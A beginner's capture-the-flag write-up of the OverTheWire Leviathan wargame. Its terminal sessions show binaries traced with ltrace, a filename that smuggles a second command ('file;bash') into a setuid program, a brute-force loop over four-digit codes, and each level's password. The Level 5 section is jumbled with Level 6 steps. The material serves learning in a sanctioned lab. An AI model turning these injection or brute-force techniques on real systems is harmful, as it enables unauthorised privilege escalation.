

OverTheWire - Leviathan

Report

By

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Leviathan

The OverTheWire Leviathan wargame is designed to help beginners understand essential Linux security concepts through hands-on practice. The lab focuses on identifying common system weaknesses such as insecure file permissions, vulnerable binaries, improper privilege usage, and misconfigured environments. Each level builds foundational skills in enumeration and binary analysis without requiring advanced exploitation techniques, making it ideal for entry-level cybersecurity learners.

Level 0 → Level 1

Tools Used : Linux, SSH, ls, cat

Objective : To connect to the Leviathan server and discover the password for the next level by examining the user's home directory.

Steps :

1. Established an SSH connection using the default Leviathan credentials.
2. Listed all files, including hidden files, in the home directory.
3. Identified a hidden backup directory.
4. Accessed and read a file inside the directory that contained the password.

This level introduced basic Linux enumeration and demonstrated the importance of checking hidden files during reconnaissance.

```
(vrushali@kali)-[~]
$ ssh leviathan0@leviathan.labs.overthewire.org -p 2223
The authenticity of host '[leviathan.labs.overthewire.org]:2223 ([51.21.210.216]:2223)' can't be established.
ED25519 key fingerprint is: SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
  ~/.ssh/known_hosts:4: [hashed name]
  ~/.ssh/known_hosts:5: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[leviathan.labs.overthewire.org]:2223' (ED25519) to the list of known hosts.

  OverTheWire
  Wargames

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan0@leviathan.labs.overthewire.org's password:
```

```

leviathan0@leviathan:~$
leviathan0@leviathan:~$ ls
leviathan0@leviathan:~$ ls -la
total 24
drwxr-xr-x  3 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
drwxr-xr-x  2 leviathan1 leviathan0 4096 Oct 14 09:27 .backup
-rw-r--r--  1 root    root        220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root    root      3851 Oct 14 09:19 .bashrc
-rw-r--r--  1 root    root        807 Mar 31 2024 .profile
leviathan0@leviathan:~$ cd .backup
leviathan0@leviathan:~/.backup$ ls
bookmarks.html
leviathan0@leviathan:~/.backup$ cat bookmarks.html
<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
It will be read and overwritten.
DO NOT EDIT! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1 LAST_MODIFIED="1160271046">Bookmarks</H1>

<DL><p>
leviathan0@leviathan:~/.backup$ grep leviathan bookmarks.html
<p><a href="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is 3QJ3Tg2Hdq" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">passwo
rd to leviathan1</a>
leviathan0@leviathan:~/.backup$

```

Level 1 → Level 2

Tools Used : Linux, SSH, ls, ltrace

Objective : To analyze an executable file and extract the password for the next level.

Steps :

1. Logged in using the password obtained from Level 0.
2. Identified an executable file present in the directory.
3. Executed the binary to observe its behavior.
4. Used library call tracing to inspect internal string comparisons.
5. Extracted the password revealed during execution.

This level highlighted how insecure binaries can unintentionally expose sensitive information.

```

(vrushali@kali)-[~]
$ ssh leviathan1@leviathan.labs.overthewire.org -p 2223
Warning: Permanently added 'leviathan.labs.overthewire.org' (RSA) to the list of known hosts.
leviathan1@leviathan:~$

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan1@leviathan.labs.overthewire.org's password:

Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

```

```
leviathan1@leviathan:~$ ls
check
leviathan1@leviathan:~$ ./check
password: null
Wrong password, Good Bye ...
leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x80490ed, 1, 0xffffd474, 0 <unfinished ...>
printf("password: ")
getchar(0, 0, 0x786573, 0x646f67password: null
)
getchar(0, 110, 0x786573, 0x646f67)
getchar(0, 0x756e, 0x786573, 0x646f67)
strcmp("nul", "sex")
puts("Wrong password, Good Bye ... "Wrong password, Good Bye ...
)
+++ exited (status 0) +++
leviathan1@leviathan:~$ ./check
password: sex
$ ls
check
$ cat /etc/leviathan_pass/leviathan2
cat: /etc/leviathan_pass/leviathan2: No such file or directory
$ cat /etc/leviathan_pass/leviathan2
NSN1HwFoyN
$
```

Level 2 → Level 3

Tools Used : Linux, SSH, ls, ltrace, filename,

Objective : To exploit a misconfigured binary with elevated privileges.

Steps :

1. Logged in using Level 2 credentials.
2. Inspected file permissions to locate binaries with special privileges.
3. Executed the binary and traced its execution flow.
4. Retrieved the password displayed by the program.

This level demonstrated the security risks associated with improperly configured SUID binaries.

```
(vrushali@kali)~$ ssh leviathan2@leviathan.labs.overthewire.org -p 2223
      _ _ _ _ _
     / / / / /
    / / / / /
   / / / / /
  / / / / /
 / / / / /
/ / / / /

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan2@leviathan.labs.overthewire.org's password:
www. ver he ire.org
```

```

leviathan2@leviathan:~$ ls -la
total 36
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root       220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root    root     3851 Oct 14 09:19 .bashrc
-r-sr-x---  1 leviathan3 leviathan2 15072 Oct 14 09:27 printfile
-rw-r--r--  1 root    root       807 Mar 31  2024 .profile
leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
leviathan2@leviathan:~$ ./printfile /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

```

```

vortex0:x:5000:5000:vortex level 0:/home/vortex0:/bin/bash
vortex7:x:5007:5007:vortex level 7:/home/vortex7:/bin/bash
vortex8:x:5008:5008:vortex level 8:/home/vortex8:/bin/bash
vortex9:x:5009:5009:vortex level 9:/home/vortex9:/bin/bash
leviathan2@leviathan:~$ ltrace ./printfile /etc/passwd
__libc_start_main(0x80490ed, 2, 0xffffd464, 0 <unfinished ... >
access("/etc/passwd", 4)
snprintf("/bin/cat /etc/passwd", 511, "/bin/cat %s", "/etc/passwd")
geteuid()
geteuid()
setreuid(12002, 12002)
system("/bin/cat /etc/passwd"root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

```

```

vortex5:x:5005:5005:vortex level 5:/home/vortex5:/bin/bash
vortex6:x:5006:5006:vortex level 6:/home/vortex6:/bin/bash
vortex7:x:5007:5007:vortex level 7:/home/vortex7:/bin/bash
vortex8:x:5008:5008:vortex level 8:/home/vortex8:/bin/bash
vortex9:x:5009:5009:vortex level 9:/home/vortex9:/bin/bash
<no return ... >
--- SIGCHLD (Child exited) ---
<... system resumed> )
+++ exited (status 0) +++
leviathan2@leviathan:~$ ls
printfile
leviathan2@leviathan:~$ mkdir -p /tmp/tmp.0DIgyDF4E0
leviathan2@leviathan:~$ cd /tmp/tmp.fBMdspITi7
-bash: cd: /tmp/tmp.fBMdspITi7: No such file or directory
leviathan2@leviathan:~$ cd /tmp/tmp.0DIgyDF4E0
leviathan2@leviathan:/tmp/tmp.0DIgyDF4E0$ touch 'file;bash'
leviathan2@leviathan:/tmp/tmp.0DIgyDF4E0$ ls
file;bash
leviathan2@leviathan:/tmp/tmp.0DIgyDF4E0$ cd
leviathan2@leviathan:~$ ls
printfile
leviathan2@leviathan:~$ ./printfile /tmp/tmp.0DIgyDF4E0/file\;bash
/bin/cat: /tmp/tmp.0DIgyDF4E0/file: Permission denied
leviathan3@leviathan:~$ cat /etc/leviathan_pass/leviathan3
f0n8h2iWLP
leviathan3@leviathan:~$

```

Level 3 → Level 4

Tools Used : Linux, SSH, ls, ltrace

Objective : To locate hidden configuration files containing sensitive data.

Steps :

1. Logged in using Level 3 credentials.
2. Performed a detailed search for hidden directories and files.
3. Located a configuration file containing restricted information.
4. Read the file to obtain the password.

This level reinforced the importance of thorough system enumeration.

```
(vrushali@kali)-[~]
$ ssh leviathan3@leviathan.labs.overthewire.org -p 2223

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan3@leviathan.labs.overthewire.org's password:

leviathan3@leviathan:~$ ls -la
total 40
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root       220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root    root      3851 Oct 14 09:19 .bashrc
-r-sr-x---  1 leviathan4 leviathan3 18100 Oct 14 09:27 level3
-rw-r--r--  1 root    root       807 Mar 31 2024 .profile
leviathan3@leviathan:~$ ./level3
Enter the password> hello
bzzzzzzzap. WRONG
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x80490ed, 1, 0xffffd474, 0 <unfinished ...>
strcmp("h0n033", "kakaka")
printf("Enter the password> ")
fgets(Enter the password> hello
"hello\n", 256, 0xffffd5c0)
strcmp("hello\n", "snlprintf\n")
puts("bzzzzzzzap. WRONG"bzzzzzzzap. WRONG
)
+++ exited (status 0) +++
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell!]
$ ls
level3
$ cat /etc/leviathan_pass/leviathan4
WGiegElCv0
$
```

Level 4 → Level 5

Tools Used : Linux, SSH, ls, ltrace

Objective : To retrieve confidential data by analyzing file permissions.

Steps :

1. Logged in using Level 4 credentials.
2. Reviewed file and directory permission settings.
3. Identified files that were readable despite access restrictions.
4. Extracted the password from the accessible file.

This level strengthened understanding of Linux permission models and access control.

(vrushali@kali)-[~]

\$ ssh leviathan4@leviathan.labs.overthewire.org -p 2223

OverTheWire

This is an OverTheWire game server.

More information on <http://www.overthewire.org/wargames>

backend: gibbon-1

leviathan4@leviathan.labs.overthewire.org's password:

Permission denied, please try again.

leviathan4@leviathan.labs.overthewire.org's password:

Permission denied, please try again.

leviathan4@leviathan.labs.overthewire.org's password:

OverTheWire

www.OverTheWire.org

leviathan4@leviathan:~\$ ls -la

```
total 24
drwxr-xr-x  3 root root    4096 Oct 14 09:27 .
drwxr-xr-x 150 root root    4096 Oct 14 09:29 ..
-rw-r--r--  1 root root     220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root root    3851 Oct 14 09:19 .bashrc
-rw-r--r--  1 root root     807 Mar 31  2024 .profile
dr-xr-x---  2 root leviathan4 4096 Oct 14 09:27 .trash
```

leviathan4@leviathan:~\$ cd .trash

leviathan4@leviathan:~/.trash\$ ls

bin

leviathan4@leviathan:~/.trash\$./bin

00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010

leviathan4@leviathan:~/.trash\$

From Binary To Text

Open File Open Bin File Q

Paste binary code numbers or drop file:

```
00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100
01010001 01000100 00001010
```

Character encoding (optional)

ASCII/UTF-8

= Convert ✕ Reset ↕ Swap

```
0dyxT7F4QD
```

Level 5 → Level 6

Tools Used : Linux, SSH, ls, ltrace

Objective : To exploit a vulnerable SUID executable.

Steps :

1. Logged in using Level 5 credentials.
2. Identified an executable running with elevated privileges.
3. Carefully analyzed and executed the binary.
4. Retrieved the password exposed during execution.

This level showed how improper privilege handling can lead to serious security flaws.

Steps :

1. Logged in using Level 6 credentials.
2. Analyzed available binaries and environment variables.
3. Executed the final vulnerable program.
4. Successfully retrieved the final password.

```
(vrushali@kali)-[~]
└─$ ssh leviathan6@leviathan.labs.overthewire.org -p 2223

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan6@leviathan.labs.overthewire.org's password:
```

```
leviathan6@leviathan:~$ ls -la
total 36
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root        220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root    root      3851 Oct 14 09:19 .bashrc
-r-sr-x---  1 leviathan7 leviathan6 15036 Oct 14 09:27 leviathan6
-rw-r--r--  1 root    root        807 Mar 31 2024 .profile
leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ ltrace ./leviathan6
__libc_start_main(0x80490dd, 1, 0xffffd464, 0 <unfinished ...>
printf("usage: %s <4 digit code>\n", "./leviathan6"usage: ./leviathan6 <4 digit code>
)
= 35
exit(-1 <no return ...>
+++ exited (status 255) +++
leviathan6@leviathan:~$ for i in {0000..9999}; do echo $i;./leviathan6 $i;done;
0000
Wrong
0001
```

```

Wrong
7117
Wrong
7118
Wrong
7119
Wrong
7120
Wrong
7121
Wrong
7122
Wrong
7123
$ whoami
leviathan7
$ ls
leviathan6
$ cat /etc/leviathan_pass/leviathan7
qEs5Io5yM8
$

```

Level 7

The Leviathan lab provided practical exposure to real-world Linux security misconfigurations. Through progressive challenges, the lab strengthened skills in system exploration, privilege analysis, and basic exploitation techniques. Completing Leviathan establishes a strong foundation for advancing to more complex OverTheWire challenges and real-world cybersecurity problem-solving.

```

(vrushnati@kali) ~$ ssh leviathan7@leviathan.labs.overthewire.org -p 2223
leviathan7@leviathan:~$

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan7@leviathan.labs.overthewire.org's password:

www. ver he ire.org

leviathan7@leviathan:~$ ls -la
total 24
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root       220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root    root     3851 Oct 14 09:19 .bashrc
-r--r----- 1 leviathan7 leviathan7 178 Oct 14 09:27 CONGRATULATIONS
-rw-r--r--  1 root    root       807 Mar 31 2024 .profile
leviathan7@leviathan:~$ cat CONGRATULATIONS
Well Done, you seem to have used a *nix system before, now try something more serious.
(Please don't post writeups, solutions or spoilers about the games on the web. Thank you!)
leviathan7@leviathan:~$

```